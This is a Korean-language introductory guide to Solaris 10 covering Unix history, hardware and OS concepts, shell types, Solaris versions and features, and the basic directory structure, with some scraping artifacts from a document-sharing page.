SOLARIS 10 INSTALLATION

Size: px
Start display at page:

Download "SOLARIS 10 INSTALLATION"

Transcription

1 Solaris Esstential Guide - 1 -

2 Solaris Esstential Guide NOTICE l l l l l l l - 2 -

3 Solaris Esstential Guide 제 1 장. Unix 역사제 2 장. 운영체제개요 2.1 하드웨어종류 2.2 운영체제 커널 쉘 파일과디렉토리 제 3 장. 솔라리스소개 3.1 솔라리스 10 버전? 3.2 솔라리스플랫폼 3.3 유닉스시스템의사용 3.4 최근유닉스시장 3.5 솔라리스 10 의새로운기능 제 4 장. 유닉스명령어 4.1 운영체제의기본적인정보확인 uname 명령어 date 명령어 cal 명령어 4.2 디렉토리이동 pwd 명령어 cd 명령어 4.3 파일의종류 일반파일 디렉토리파일 링크파일 디바이스파일 4.4 man & passwd 명령어 man 명령어 passwd 명령어 4.5 디렉토리관리 ls 명령어 mkdir 명령어 rmdir 명령어 4.6 파일관리 tuoch 명령어 cp 명령어 mv 명령어 rm 명령어 4.7 파일의내용확인 cat 명령어 more 명령어 head 명령어 tail 명령어

4 Solaris Esstential Guide 기타관리용명령어 wc 명령어 id 명령어 group 명령어 last 명령어 who 명령어 whodo/w 명령어 rusers 명령어 exit 명령어 4.9 사용자통신명령어 mailx 명령어 write 명령어 talk 명령어 4.10 파일속성정보변경 chown 명령어 chgrp 명령어 chmod 명령어 4.11 자주사용되지는않지만유용한명령어 cmp/diff 명령어 sort 명령어 file 명령어 4.12 파일 / 디렉토리검색 grep 명령어 find 명령어 4.13 아카이빙 / 압축 Compress 명령어 compress/uncompress 명령어 gzip/gunzip 명령어 Archiving 명령어 tar 명령어 cpio 명령어 Archive + Compress zip 명령어 jar 명령어 제 5 장. VI 편집기 5.1 vi 편집기특징 5.2 vi 편집기실행 5.3 vi 편집기모드 5.4 Command Mode 이동 (Move) 삭제 (Delete) 복사 & 붙이기 (Copy & Paste) 검색 (Search) 검색서바꾸기 (Search & Replace) 실행취소 (Undo) 라인붙이기 (Join Line) 바꾸기 (Replace) 저장 & 종료 (Save & Quit) 5.5 vi 편집기환경파일

5 Solaris Esstential Guide 제 6 장. 콘셀의특징 6.1 방향재지정 (Redirection) 6.2 파이프 (Pipe) 6.3 콘쉘자체기능 (Korn Shell Function) 6.4 변수 (Variable) 6.5 메타캐릭터 (Metacharacter) 6.6 히스토리 (History) 6.7 엘리어스 (Alias) 6.8 환경파일 (Environment File) 6.9 기타 (etc) 제 7 장. 프로세스관리 7.1 프로세스정보 7.2 프로세스관리 프로세스관리 기타 제 8 장. 원격접속과파일전송 8.1 System V 계열명령어 telnet 명령어 ftp 명령어 8.2 BSD 계열명령어 rlogin 명령어 rsh 명령어 rcp 명령어 8.3 암호화명령어 ssh 명령어 sftp 명령어 scp 명령어 제 9 장. ACL(Access Control List) 9.1 ACL 개요 9.2 ACL 콘셉 9.3 ACL 명령어 9.4 ACL 실습 9.5 Default ACL

6 Solaris Esstential Guide [ 참고 ] Sun Blade 150 l 수업에사용되는서버는 Sun Blade 150 서버이다. l Sun Blade 150 서버는테스크탑 > 워크스테이션 (Workstation) 중하나이다. Sun Blade 150 서버의사양은다음과같다. CPU - UltrSPARC IIe 650MHz 사용중 - 550MHz or 650MHz 사용가능 MEMORY(RAM) - 512M * 4 = 2G 사용중 - 128M/256M/512M DIMM 4 개까지장착가능 DISK - DISK(IDE) * 2 개사용중 - IDE2 방식 2 개장착가능 NIC - NIC(eri0) : 온보드 (On Board) - NIC(hme0) : 추가장착됨 CD/DVD-ROM - CD-ROM 사용중 - CD/DVD-ROM 사용가능 [ 참고 ] X86-Based System l 수업에사용되는서버는 X86-Based System 서버이다. l X86-Based System 서버는워크스테이션 (Workstation) 중하나이다. X86-Based System(Solaris 10 x86 u8 on VMWare 7.0) 서버의사양은다음과같다. CPU - AMD Phenom(tm) II X4 924 Processor 사용 - Quad Core MEMORY(RAM) - 2.0GB * 4 = 8G 사용 DISK - Virtual DISK(IDE/SCSI) 여러개사용 NIC - Virtual NIC 여러개사용 CD/DVD-ROM - CD/DVD-ROM 사용 - 6 -

7 Solaris Esstential Guide - 1 -

8 Solaris Esstential Guide 유닉스의역사 1960 년대 AT&T 벨연구소에서개발한 Multics 라는운영체제가너무복잡하여운영체제의필요성이생기게되었다 년 AT&T Bell 연구소의 Ken Thompson 과 C 언어를만든 Dennis Rithie 에의해 PDP-7 를사용하여어셈블리로개발되었다. 초기의유닉스운영체제는어셈블리 (Assembly) 언어로작성되어 Dennis Ritchie 가 B 언어를개선한 C 언어를개발한뒤 1973 년에 C 언어를사용하여유닉스를다시만들것을제한하였고그리하여유닉스의 90% 이상이 C 로다시작성이되고나머지는어셈블리언어및스크립트로작성되었다. 이로인해다른시스템에도아주쉽게이식하여사용할수있게되었다 년도 AT&T 는외부의여러대학에소스코드와매뉴얼을배포하였으며유닉스의소스코드를받은여러연구소는개량판을발표하였는데그중에서가장유명하고활발한활동을하였던것이 BSD(Berkely Software Distribution) 이다 년 UNIX V6(Version 6) 라는이름으로일반인에게공개되면서 IBM 370 컴퓨터에이식하여시험하였고다른많은회사에서도자사의중대형컴퓨터에유닉스를이식하기시작하였다. BSD 는 1978 년도버클리대학의빌조이가발표하여 1979 년가상메모리개념을최초로도입했으며, 1980 년에는 TCP/IP 를구현한최초의운영체제가되었다. AT&T 의벨연구소도유닉스를꾸준히개량하여 1983 년 UNIX System V 라는이름으로새버전을발표하였다. 썬은 BSD 를만든빌조이를영입하여 1984 년 BSD 를바탕으로많은독자적인기능을추가한 SunOS 를발표하였고많은유닉스계열의기술적인공헌과개선을하였다. 유닉스의원조이자 UNIX System V 계열의대표인 AT&T 와 BSD 계열의선두주자인썬은 UNIX System V 와 SunOS 를근간으로 SVR4(System V Release 4) 를발표하였다. SVR4 는 1991 년도썬이 Solaris 2.X 라는상표명으로발표를한이후에많은유닉스제조회사들이채택하여유닉스의기본이되었다

9 Solaris Esstential Guide [ 유닉스의소개 ] 유닉스는 1969 년에벨연구소에서인터랙티브시분할시스템으로서만든것이그시초가된운영체계이다. 켄톰슨과데니스리치가유닉스의창시자로알려져있다. 유닉스라는이름은그이전의시스템인멀틱스에기반을두고지은일종의말장난이었다 년에유닉스는 C 언어로쓰여진최초의운영체계가되었다. 유닉스는여러회사들이나대학및개인들에의해많은확장판과새로운아이디어들이다양한버전의유닉스에추가됨으로써, 대형프리웨어제품의한종류로진화하였다. 유닉스는앞서가는특정컴퓨터회사들에의해소유된독점적인운영체계가아니었다는것과, 또그것이표준프로그래밍언어로작성되고, 대중적인많은아이디어를받아들였다는이유때문에, 누구에의해서도개선되고강화될수있는최초의개방형표준운영체계가되었다. 다양한버전의유닉스로부터나온 C 언어와쉘인터페이스의복합체는 IEEE 의찬조하에서 POSIX 로표준화되었다. POSIX 인터페이스들은번갈아가며, X/Open 프로그래밍가이드 4.2 (" 단일유닉스규격 " 과 " 유닉스 95" 로알려져있다 ) 에명기되었다. 단일유닉스규격의버전 2 는유닉스 98 로도알려져있다. 유닉스의공식적인등록상표는현재산업표준기구인오픈그룹이소유하고있으며, 유닉스관련제품들의인증과상표부여등을관장하고있다. 유닉스운영체계는널리판매된썬마이크로시스템즈, 실리콘그래픽스, IBM, 그리고그외많은회사들의워크스테이션제품들에서사용된다. 유닉스환경과클라이언트 / 서버프로그램모델은인터넷개발과네트웍중심의컴퓨팅국면을새로이하기위한중요한요소였다. 유닉스에서파생하여, 현재무료소프트웨어와상용버전이모두존재하는리눅스는독점운영체계의대안으로서명성을더해가고있다. [ 참고 ] 유닉스역사에대해서 유닉스역사에대한자세한내용을보고싶다면다음의 wiki 사이트를참고한다. l -

10 Solaris Esstential Guide 하드웨어 (Hardware) 중앙처리장치 (CPU(Central Processing Unit)) 명령어의해석과자료의연산, 비교등의처리를제어하는컴퓨터시스템의핵심적인장치. 중앙처리장치는컴퓨터하드웨어의핵심으로서기억장치로부터기계어코드 ( 컴퓨터가이해할수있는기게어코드 ) 를읽어들여실행하는역할을한다. 다시말하면컴퓨터내의모든제어와연산을담당한다. 명령어의해석과자료의연산, 비교등의처리를제어하는컴퓨터시스템의핵심적인장치이다. 중앙처리장치의성능은컴퓨터의성능과직결되며 CPU 내부의구성에따라컴퓨터의계열이다양하게구분된다. 컴퓨터시스템전체를제어하는장치로서, 다양한입력장치로부터자료를받아서처리한후그결과를출력장치로보내는일련의과정을제어하고조정하는일을수행한다. 모든컴퓨터의작동과정이중앙처리장치의제어를받기때문에컴퓨터의두뇌에해당한다. 중대형컴퓨터에서는이를중앙처리장치 (central processing unit:cpu) 라하지만, 소형컴퓨터에서는때로마이크로프로세서 (micro processor) 또는줄여서그냥프로세서라부르기도하는데, 명칭만다를뿐기본적으로동일한기능을수행한다

11 Solaris Esstential Guide 램, 메모리 (RAM(Ramdom Access Memory)) 램 (RAM) 은일반적으로메모리혹은주기억장치라고부르는데중앙처리장치에의해접근되는기계어코드와자료 ( 혹은데이터 ) 를저장한다. 주기억장치로널리사용되고있는메모리로로, Random Access Memory 의약어이다. 플립플롭으로만들어진기억소자를사용한다. 기록과해독의두회로가있어서정보의기록, 해독이가능하고컴퓨터나주변단말기기의기억장치에널리쓰인다. 종류로는전원이연결된상태에서일정한주기마다리프레시 (refresh) 조작을해주어야만정보가지워지지않는 DRAM 과전원만연결되어있으면정보가지워지지않는 SRAM 이있으며고밀도집적회로를사용하여소형, 대용량화되고있다. SunOS 5.X 은가상메모리운영체제이다. RAM 의사용공간보다더많은메모리공간을사용하는프로그램을실행시켰을때사용되는것이가상메모리이다. 가상메모리는하드디스크에있는메모리공간이며실제메모리의연장공간처럼쓰이게된다. 프로그램은하드디스크에저장되며프로그램이실행되면메모리에복사가되고활성화된프로그램동안프로그램의일부분이 RAM 에복사된다. 작업이끝날때까지가상메모리에남아있게된다. 프로그램이종료되면가상메모리공간을다른프로그램실행시덮어쓰게되고이것의관리를운영체제가한다. 만약전원이꺼지면저장하고있는모든가상메모리의내용은없어지게된다. 하드디스크 (Hard Disk) 하드디스크는자기적매체장치로서파일, 디렉토리, 프로그램들등을저장하는장치이다. 자성체로코팅된원판형알루미늄기판에프로그램이나데이터를영구보관하기위한외부기억장치자료를저장할수있도록만든보조기억장치이다. 디스크가레코드판처럼겹쳐져있는것으로, 디스크위에는트랙이라고하는동심원이그려져있다. 이동심원안에데이터를전자적으로기록하게된다. 헤드는트랙에정보를기록하거나읽어내는역할을한다. 자기디스크장치가처음나타났을때는디스크를사용자가컴퓨터에장착하여사용하게했다. 그러나먼지에오염되거나사용자의조작실수로자료가파손되는일이잦아서현재와같이밀봉하는형태로바뀌었다. 하드디스크라는말은 PC 가출현되었을때플로피디스크 (FDD) 만사용할수있었는데, 점차용량이큰현재의디스크가사용되면서플로피에상대되는말로하드라는수식어가붙게되었다. 입 / 출력장차 (Input/Output Device) 입력장치는컴퓨터에자료를입력하기위한장치를말하며, 인풋시스템 (Input System) 이라고도한다. 인간이정보를해석하고기억하는방식과는달리컴퓨터는 0 과 1 로정보를표시하게되어있다. 사람들이사용하는문자, 도형, 목소리, 숫자등의자료를읽어들여 0 과 1 의이진수형태로바꾸어컴퓨터가처리를할수있도록해주는역할을하는것이입력장치이다. 입력장치로는키보드, 마우스, 조이스틱, 터치스크린, 이미지스캐너, 디지털카메라, 광학마크판독기 (OMR), 바코드판독기 (Bar Code Reader), 자기잉크문자판독기 (MICR) 등이있다. 출력장치는컴퓨터에서정보를처리한결과를기계로부터인간이알수있는언어 ( 言語 ) 로변환해서꺼내는장치이다. 출력장치는모니터, 프린터, 종이테이프, 카드천공기, 라인프린터, 자기테이프등이있다

12 Solaris Esstential Guide 운영체제 (Operating System) SunOS 운영체제는다음과같은 3 가지로구성이된다. 커널 (Kernel) 쉘 (Shell) 디렉토리구조 (Directory Structure) 1 커널 (Kernel) 커널은 SunOS 운영체제의핵심부분으로컴퓨터의물리적인자원을관리해주는역할을가지고있으며, 다음과같은기능등을가진다. CPU 기능관리 (CPU 스케줄링 ) 메모리관리 (MEM) 및가상메모리 (SWAP) 관리 프로세스 (Process) 관리 파일시스템 (Filesystem) 과구조관리 디바이스관리 ( 주변장치, 입출력장치 ) 기타 커널은솔라리스가부팅될때가장먼저읽혀진다. 솔라리스커널은 unix, genunix 로구성되어있으며커널을제외한다른특성이있는모든기능들을커널모듈 (Kernel Module) 형태로제공하고있다. 2 쉘 (Shell) 쉘은명령어를해석하는부분으로서사용자와솔라리스시스템을연결시켜주는인터페이스역할을한다. 즉사용자가입력한명령어를해석하여커널이이해할수있는명령으로번역하여커널에게넘겨준다. 그러면커널이그것을수행하고수행된결과값을쉘에게다시넘겨주게된다. 그러면쉘은사용자에게명령어의결과값을돌려준다. 결국사용자의명령을해석하는역할을한다. 쉘은이렇게가명령어를해석하는역할외에도나프로그램을할수있는특징을가지고있다. 쉘의특성을이용한프로그램을쉘프로그램또는쉘스크립트라고한다. 솔라리스 10 에서는 6 가지쉘을제공해주고있다. 기본쉘 (Basic Shell) 과추가적인쉘이다. 솔라리스 10 에서의기본쉘 (Basic Shell) Bourne Shell(sh) C Shell(csh) Korn Shell(ksh) 솔라리스 10 에서의확장적인쉘 (Extended Shell) Bash(bash) Z Shell(zsh) TC Shell(tcsh) 솔라리스의확장적인쉘은솔라리스 8 에서처음내장이되었으며그전까지는기본쉘 3 가지만제공하고있었다. 실제적으로다른디렉토리안에서많은쉘의이름이존재하지만실제이기본쉘과추가적인쉘에링크되어진상태이다. 쉘의역할을정리하여보면다음과같다. A 입력을읽고해당명령행을분석한다. B 특수문자들을평가한다. C 파이프, 리다이렉션, 백그라운드프로세스를설정한다. D 시그널을처리한다. E 프로그램을올바르게실행시킨다

13 Solaris Esstential Guide 다음은쉘의발전과정에대한그림이다. [ 그림 ] 쉘의발전과정 다음은각쉘에대한기능들을간략하게비교하고요약한것이다. 기능 본셀 (sh) C쉘 (csh) TC쉘 (tcsh) 콘쉘 (ksh) 배시쉘 (bash) 디렉토리스택 (pushd, popd) 명령행편집 별명 작업제어 철자정정 키조합설정 파일이름완성 프롬프트서식설정 함수 향상된패턴검색 히스토리 X : 기능지원하지않음. : 기능지원. : 사용자설정을통한기능지원. bash 쉘에서 cdspell 은 cd 명령어에서사용하는디렉토리이름의작은철자오류를정정해주는 shopt 옵션이다

14 Solaris Esstential Guide 다음은쉘의종류와각각의특징들에대한간략한요약정보이다. 쉘의종류 sh(bourne Shell) csh(c Shell) ksh(korn Shell) bash (Bourne-Again Shell) 기타 설명 최초의유닉스쉘로서벨연구소의스티븐본 (Steven Bourne) 에의해 1979년대중화된유닉스버전 7에들어있다. 솔라리스의기본쉘로서시스템관리스크립트를위한표준쉘이다. 실행시참조하는파일 : ~/.profile 프로그램 : /bin/sh (/usr/bin/sh), /sbin/sh 프롬프트 : $( 일반사용자 ), #(root 사용자 ) 1970년대후반버클리대학의빌조이 (Bill Joy) 에의해작성되었다. BSD(Berkeley Software Distribution) 의일환으로배포되었다. 실행시참조하는파일 : ~/.cshrc 프로그램 : /bin/csh (/usr/bin/csh) 프롬프트 : %( 일반사용자 ), #(root 사용자 ) 1980년대후반 AT&T Bell 연구소의 David Korn에의해개발되었다. 최조의버전은 1988년에출시된유닉스 SVR4 배포판에포함됨. ksh은 csh에비해빠르고 sh로작성된스크립트가실행되는호환성을가지고있다. 실행시참조하는파일 : ~/.kshrc 프로그램 : /bin/ksh (/usr/bin/ksh) 프롬프트 : $( 일반사용자 ), #(root 사용자 ) GNU 프로젝트에서나온리눅스의기본쉘이며브라이언폭스 (Brian Fox), 쳇레이미 (Chet Ramey) 등에발전되었다. 프로그램 : /bin/bash 프롬프트 : $( 일반사용자 ), #(root 사용자 ) tcsh(enhanced C Shell) zsh dtksh(desktop Korn Shell) jsh(job Control Shell) rsh(restricted Shell) - 8 -

15 Solaris Esstential Guide 1990 년대초반썬 ( 썬마이크로시스템즈 ) 은자신들의운영체제인 SunOS 4.X 를가지고있었다. 그뒤에솔라리스 2.X 가나오면서 SunOS 4.X 는솔라리스 1.X 이라는이름을가지게되었다. 한편 SunOS 라는용어는솔라리스의핵심을이야기하는데아직도사용하고있고, 솔라리스 2.X 의별명은 SunOS 5.X 이기도하다. 솔라리스 2.5 이후의버전은사소한업그레이드버전이었으나, 솔라리스 2.7 이후는솔라리스 7 으로불렀다. 한편 SunOS 라는명칭도여전히사용되고있으며, 솔라리스의커널버전 (ON:OS/Networking) 으로부르고있다. 솔라리스 7 이후의버전을지칭할때커널버전은 SunOS 5.7 라고불리기도한다. 이를테면솔라리스 10 의커널버전은 SunOS 5.10 이다. 현재발표되어있는최신버전은 Solaris /09 이다. 솔라리스는 SPARC, x86, AMD64, IA-32, EM64T 아키텍처를지원하며이들에대해서공통코드기반 (Common Code Base) 를사용한다. 과거솔라리스 을파워 PC 로포팅하려고했으나, 취소된바있다. 솔라리스는다중프로세서환경에서잘작동하며, 솔라리스 10 은리눅스 ABI 를구현할예정이다. (opensolaris 빌드 49 버전에구현되어있다.) 솔라리스는선의스팍하드웨어와잘어울리며썬의하드웨어부분과썬의소프트웨어부문이합쳐진뒤에는선의마케팅은스팍프로세서와솔라리스운영체제를함께판다는것이었으나솔라리스 10 이후부터는썬은모든플랫폼에서작동하는솔라리스개발및공급을하고있다. 솔라리스가설치된시스템은대부분이썬이었던지난시절과는달리지금은 x86, AMD64, EM64T 등다양한환경에서지원되고사용되고있다. 솔라리스환경은 SunOS(5.x) 와 ONC+(Open Network Computing) 제품, CDE GUI(Graphical User Interface), Java Desktop System Release 로구성이된다. SunOS 는시스템자원 (System Resources) 과시스템동작을위한스케줄프로그램등으로구성이된다

16 Solaris Esstential Guide ONC+ 프로그램은네트워크서비스즉 NIS(Network Information Services), NIS+(Network Information Service Plus), NFS(Network Filesystem) 와같이네트워크상에서자원을공유하고정보를전달하는서비스제품으로구성된다. CDE 환경은 GUI 방식으로되어있으며로그인스크린이나운영체제의거의모든기능을접근하는데사용한다. 솔라리스 10 버전에서는 Java Desktop System Lease 3 버전을포함하여, CDE 환경과함께 2 개의환경을사용할수있도록하였다. 어떤 GUI 환경을쓸것인가에대한선택은로그인시로그인창에서 "Option" 부분을선택하여적당한 GUI 를선택하면된다. 솔라리스에대한더자세한사항 ( 일반적인내용들 ) 을보고싶다면다음위키사이트를참고한다. l 버전 커널버전 배포일 설명 Solaris 10 SunOS DTrace,Container,SMF,iSCSI,JDS,x64지원 Solaris 9 SunOS SVM, Directory Service, Resource Manager Solaris 8 SunOS IPMP, RBAC Solaris 7 SunOS 비트지원 Solaris 2.6 SunOS Kerberos 5, PAM, 트루타입글꼴, WebNFS Solaris SunOS UID (uid_t) 를 32비트로확장 Solaris 2.5 SunOS 울트라 1 지원 [ 참고 ] CPU 아키텍처와운영체제 여러회시가 CPU 아키텍처와 OS 개발하였다. 대표적인 CPU 와 OS 조합에대해예를소개한다. SPARC 은 Sun Microsystems 제품입니다. SPARC 상에서동작하는 OS 에는 Solaris 가있다. Solaris 는 SPARC Platform 과 Intel Platform(IA: Intel Architecture) 두가지종류가있다. CPU 내의연산방법이다르기때문에두제품간의호환성은없다. IA(IA-32 와 IA-64) 는 Intel 에서개발한아키텍처이다. IA-32 와 IA-64 상에서동작하는 OS 에는 Microsoft 의 Windows 또는 Linux 등이있다. PowerPC 는 IBM, Apple Computer, 모토로라가공동개발했다. PowerPC 상에서사용되는 OS 에는 IBM 의 AIX, Apple Coputer 의 Macintosh 등이있다

17 Solaris Esstential Guide 솔라리스이전버전 & 새버전 Solaris 1.x & Solaris 2.x SunOS 4.x & SunOS 5.x (1). Solaris 10 버전이란? 솔라리스버전간의상관관계 Solaris 2.10 버전은 SunOS 5.10 운영체제에일부애플리케이션 (ONC+,JDS 등 ) 을포함하여붙여진이름이므로같은버전으로생각하면된다. 또한통합이름으로 Solaris 10 버전이라고한다. 따라서 SunOS 5.10, Solaris 2.10, Solaris 10 은같은이름으로생각하면된다. Solaris 2.6 = SunOS 5.6 Solaris 2.7 = SunOS 5.7 = Solaris 7 Solaris 2.8 = SunOS 5.8 = Solaris 8 Solaris 2.9 = SunOS 5.9 = Solaris 9 Solaris 2.10 = SunOS 5.10 = Solaris 10 Solaris 2.11 = SunOS 5.11 = Solaris 11 Express 솔라리스 10 버전 Solaris 10 버전은 에처음출시가되었으며, 여러개의업데이트버전을가지고있다. 각업데이트버전간의차이점은패치가된상태의차이이다. 따라서업데이트 7 버전은업데이트 6 버전에비해서패치가더많이된상태에서운영체제 CD 가제공된버전을나타낸다. 현재는 버전이가장마지막버전이다. 따라서, 실무에서는최신의솔라리스 10 CD 를구해서설치해서쓰는것이안정성이나보안면에서유리할것이다. Solaris 10 08/11 (u10: Update 10 Version) Solaris 10 09/10 (u9 : Update 9 Version) Solaris 10 10/09 (u8 : Update 8 Version) Solaris 10 05/09 (u7 : Update 7 Version) Solaris 10 10/08 (u6 : Update 6 Version) Solaris 10 05/08 (u5 : Update 5 Version) Solaris 10 08/07 (u4 : Update 4 Version) Solaris 10 11/06 (u3 : Update 3 Version) Solaris 10 06/06 (u2 : Update 2 Version) Solaris 10 01/06 (u1 : Update 1 Version) Solaris 10 03/05 [ 표 ] 솔라리스 8/9/10 버전비교 ( 업데이트버전비교 )

18 Solaris Esstential Guide (2). 솔라리스플랫폼 (Platform) 솔라리스는스팍플랫폼 (Sparc-Based System) 과인텔플랫폼 (x86-based System) 이있다. 스팍플랫폼은 SPARC CPU 를사용하고있는시스템을운영하기위한운영체제이고, 인텔플랫폼은 INTEL,AMD CPU 등을사용하고있는시스템을운영하기위한운영체제이다. Intel Platform 을 x86 용이라고부르기도한다. SPARC Platform(Sparc-Based System) INTEL Platform(x86-Based System) (3). 대표적인 UNIX 주로서버용도로사용되고있는운영체제는 UNIX 계열과 x64 계열의서버들이있다. UNIX 계열의운영체제의대표적인벤더는 Sun 의솔라리스와 IBM 의 AIX, HP 의 HP-UX 등이있다. x64 계열의서버운영체제는 MS 의 Windows 계열과 RedHat 의 RHEL 등이있다. 대표적인 UNIX 계열 Sun Solaris (Oracle 포함 ) IBM AIX HP HP-UX Compaq Tru64 (HP 포함 ) SGI IRIX [ 참고 ] 인텔호환 PC 에서동작하는유닉스 Solaris(X86), SCO OpenServer, Unixware, NextStep, Minix, FreeBSD, NetBSD, OpenBSD Linux(RedHat RHEL, SuSE Linux, Tubo Linux, Debian Linux 등 ) (4). UNIX 시스템의사용 현재엔트리레벨 (Entry-Level) 의서버로는 Linux 계열이나 MS Windows 계열의서버들이많이사용되고있지만, 미드레인지 (Midrange)/ 하이엔트 (High End) 서버들은주로 Unix 계열이많이사용되고있다. 하지만최근시장에서는미드레인지서버시장에대해 Linux 계열과 Windows 계열의서버진출이가속화되고있다. KT : 80 % HanJun : 50 % KTF : 33 % COSCO : 80 % 철도청 : 제어용시스템 반도체 : 반도체기기테스트용장비 의료용 : 의료기기검사테스트장비 CAD 서버 : 디자인프로그램애뮬레이션용도

19 Solaris Esstential Guide (5). 최근유닉스시장 한국 IDC 분석결과 ( 한국시장 ) l 2008년 3분기국내서버시장의매출은전년동기대비 9.8% 감소한 2,483억원규모였으며, 판매대수는 27,653대로전년동기대비 10.3% 감소하였다. l 2008년 4분기국내서버시장은매출기준으로전년동기대비 2.4% 감소한 3,073억원규모였으며, 판매대수는전년동기대비 11.1% 감소한것으로조사되었다. Unix 서버시장 ( 한국 IDC, 2008 년 4 분기기준 ) X64 서버시장 ( 한국 IDC, 2008 년 4 분기기준 )

20 Solaris Esstential Guide (6). 솔라리스 10 의새로운기능 솔라리스 10 은엔터프라이즈급의성능, 확장성, 보안을갖춘 OS 이다. 썬마이크로시스템즈에서는현재하는운영체제중가장진보된운영체제라고말하고있다. 솔라리스 10 버전에는현존하는대부분의가상화솔루션기술이내장되어있으며, Dtrace 라는프로세스를추적할수있는새로운기술도내장되어있다. 또한운영체제자체의자가치유능력을보유하고있어, 많은하드웨어적인에러나운영체제및프로그램들에대한에러들을쉽게제어하고나레포트하도록구성되어있다. 솔라리스 10 버전에는수많은보안기능과네트워크성능이뛰어나졌으며, 여러가지플랫폼을지원하고있다. 리눅스용애플리케이션을바로설치하여사용할수있도록되어있으며, 새로운프로세스를제어하는방법을사용하고 svcadm 명령어를통해관리자가서비스를제어하는방식을단일화시켜놨다. 솔라리스 10 버전에는새로운파일시스템인 ZFS 파일시스템이내장되어 RAID 기능이나스냅샷기능, 파일시스템압축기능등파일시스템의새로운패러다임을제공하고있다. 솔라리스 10 의새로운기능들 중요기능추가 / 업데이트 Solaris Containers(Solaris Zone + Solaris Resource Manager) DTrace(Process Dynamic Trace) Predictive Self-Healing Security Network Performance Platform Choice(Intel + Sparc) - Linux, Windows, Solaris Solaris ZFS(Zetta File System) Linux Interoperability(EX: sunfreeware, BrandZ, Glib) Process Contract

21 Solaris Esstential Guide [ 참고 ] 썬마이크시스템즈 (Sun Microsystems) 썬마이크로시스템즈 ( 주 ) 는 네트웍이곧컴퓨터 라는비전과 공유 와 참여 라는기업철학을바탕으로 언제어디서든누구나 네트웍인프라를통해원하는정보를얻을수있도록제품및기술을개발하고있습니다. 뛰어난기술력과다양한제품군, 이와더불어네트웍컴퓨팅에대한확고한신념과모든사람과공유한다는개방 (Open) 정신을통해전세계정보격차를해소하고자앞장서고있습니다. 썬은썬파이어서버를중심으로한다양한서버제품군, 스토리지제품군, 윅스테이션, Solaris 운영환경, UltraSPARC 프로세서, 오픈네트윅컴퓨팅의핵심인 Java 기술등기업의데이터센터인프라구축을위한서버, 스토리지, 소프트웨어, 서비스의종합적인솔루션을제공하고있습니다 년설림된썬마이크로시스템즈본사는전세계 160 개의지사를두고있으며, 국내에는 1985 년윅스테이션공급을시작으로진출해 1990 년한국썬마이크로시스템즈가설립되었습니다. 한국썬마이크로시스템즈는설립이래꾸준한성장을이룩하여, 현재판매, 기술, 시스템통합, 소프트웨어분야의약 500 여국내기업과협력관계를유지하고있습니다. Sun Microsystems Inc. [ 본사 ] 설립연도 : 1982년 소재지 : 4150 Network Circle Santa Clara, CA USA 직원수 : 34,000명 ( 기술지원및 R & D 인력 24,000명 ) 대표이사 : 회장겸 CEO 조나단슈왈츠 (Jonathan Schwartz) Sun Microsystems, Ltd. [ 한국 ] 설립연도 : 1990년 소재지 : 서울강남구삼성동 무역센터아셈타워 15/16층 직원수 : 400여명 대표이사 : 유원식 웹사이트 : 사업부문 : 엔터프라이즈시스템및스토리지, 소프트웨어, 서비스, 교육센터, R&D 센터 -> 현재는오라클 (Oracle) 회사에병합되었다

22 Solaris Esstential Guide [ 참고 ] 한국썬의주고객사

23 Solaris Esstential Guide 수업전에알아두어야하는사항들또는환경설정사항 (1). 유닉스의디렉토리구조 솔라리스의디렉토리구조는아래그림과같다. 최상위디렉토리를나타내는 /(root) 디렉토리가존재하고하위에는많은디렉토리 ( 예 : /etc, /usr, /var, /tmp 등 ) 가존재한다. 수업에서사용되는사용자의홈디렉토리는 /export/home/< 사용자이름 > 정한다. /(root) etc usr tmp var home export work work2 home user01 user02 [ 그림 ] 유닉스디렉토리구조

24 Solaris Esstential Guide (2). 기본디렉토리의역할 / - 모든파일시스템의네임스페이스 (Name space) 이다. 모든파일시스템의마운트포인터가존재한다. /usr - 프로그램이설치되는디렉토리이다.(Bundle Packages) /opt - 프로그램이설치되는디렉토리이다.(Unbundle Packages) /etc - 시스템설정파일이나관리상에필요한파일이존재하는디렉토리이다. ( 사용자 / 그룹관리정보, 패스워드, 서비스설정파일, 시작스크립트등 ) /export/home - 사용자의홈디렉토리이다. (3). 시스템관리자의역할 사용자 / 그룹관리 (User/Group Administration) 프로그램관리 (Software Administration) 패키지 / 패치관리 (Packages & Patches Managing) 백업과복구 (Backup & Recovery) 하드웨어관리 (H/W Administration) 성능과장애처리 (Performance & System Fault Administration) 시스템보안관리 (System Security) 관리자지식업데이트 (Education) + 쉘프로그램 ( 쉘스크립트 ) 저장장치 (EX: Storage, Array) 고가용성서버 (HA(High Availbility) + 프로그램 (EX: DB(Oracle), WAS(EX: 제우스, 웹로직, 웹스피어 ) + 보안 (Security) (4). 솔라리스 GUI 환경종류 CDE(Common Desktop Environment) Openwindow GNOME(Including solaris9) Java Desktop System Release 3(Including solaris10) [ 참고 ] GNOME 란? GNOME[ 그놈 ] 은유닉스기반의운영체계사용자들을위한그래픽사용자인터페이스와일련의컴퓨터데스크탑애플리케이션들이다. GNOME 은유닉스기반의운영체계를프로그래머가아닌사람들도쉽게사용할수있고, 일반적으로윈도우데스크탑인터페이스와그것의대부분의보편적인애플리케이션들에상응하도록만드는데목적이있다. 실제로, GNOME 은사용자들이여러개의데스크탑외관중하나를선택할수있게해주는데, 예를들면사용자인터페이스를윈도우나맥 OS 처럼보이도록만들수있다. 게다가, GNOME 은워드프로세서, 스프레드시트, 데이터베이스관리자, 프레젠테이션개발도구, 웹브라우저및전자우편프로그램등, 윈도우의오피스 97 제품에있는것들과같은형태의애플리케이션들을포함한다. GNOME 은리처드스톨먼에의해설립된조직인 FSF 의후원아래, 자원자들의장시간에걸친노력의산물이다. 스톨먼과 FSF 의동료회원들은소프트웨어의소스코드가다른사람들에의해계속적으로개선될수있도록항상공개되어야한다고여기고있다. GNOME 은데스크탑운영체계시장이어떤한회사에의해통제되지않도록, 리눅스와다른유닉스시스템들을윈도우에대한존립가능한대안으로만들기위한노력의일부이다. GNU 는 FSF 의운영체계와일련의응용프로그램들이다 ( 리눅스는, 리누스토발즈가 GNU 로부터나온부가적인운영체계요소에커널을추가함으로써개발된운영체계이다 ). GNOME 은 GNOME 프로그램들과다른운영체계플랫폼프로그램들이상호운용성을가질수있도록 CORBA 를지원하는 ORB 와함께나온다. GNOME 은또한프로그래머들이 GNOME 사용자인터페이스를사용하는응용프로그램들을개발하는데사용할수있도록위짓라이브러리를포함한다. GNOME 은데스크탑버전외에도, 포켓용 PalmPilot 